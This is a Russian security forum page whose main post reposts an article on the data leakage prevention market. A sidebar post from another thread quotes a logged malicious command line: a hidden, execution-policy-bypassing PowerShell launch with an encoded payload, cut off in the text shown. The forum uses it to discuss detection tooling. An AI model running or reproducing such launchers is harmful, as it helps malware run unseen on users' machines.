Перейти к содержанию
Сергей Ильин

Обзор рынка защиты от утечки информации

Recommended Posts

Сергей Ильин

Интересная статья про рынок DLP.


How hot is the data leakage prevention market? Well, if the big boys like Cisco, Symantec, McAfee and Trend Micro are snapping up DLP start-ups to the tune of $1.6 billion in 2007, there must be a reason.

And the reason is that data leak prevention products plug a gaping hole in most company's security systems. The problem is that most security products are outwardly focused. They try to block external attacks. That's all well and good, but it doesn't address an entire spectrum of security vulnerabilities that occur when data moves from inside the network out.

Firewalls and intrusion-prevention systems (IPS) are the basic building blocks in a sound security policy, but they don't do you any good if a laptop is stolen out of a hotel room. They don't help if insiders are transmitting confidential information via e-mail. They don't come into play if somebody uses Web. 2.0 technology, like a blog or a mashup, and inadvertently spills company secrets on the Internet. And they don't address intentional data theft by disgruntled or inept employees.

Data leakage prevention products – also known as anti-data leakage or data-loss prevention – inspect content as it moves across the network and enforces policies so that confidential information doesn't escape the walls of the enterprise.

Much of the focus is on e-mail because e-mail is considered the biggest conduit for data leakage. In fact, a recent survey by Proofpoint found that 20% of outbound e-mails contain content that poses some type of legal, financial or regulatory exposure

DLP products also address data-in-motion (for example, data being FTP'd or IM'd), data at rest, and data being moved to portable media devices. (Compare data leak prevention products.)

These days, the No. 1 fear, when it comes to security, is not having a hacker deface your Web site, or take down your servers with a distributed denial-of-service attack. It's not getting hit with a virus or a worm. It's ending up on the 11 o'clock news because of a data breach that you had to report publicly.

If that's what's keeping you up at night, then you need to seriously consider a data leakage prevention product.


Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ  
    • demkd
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...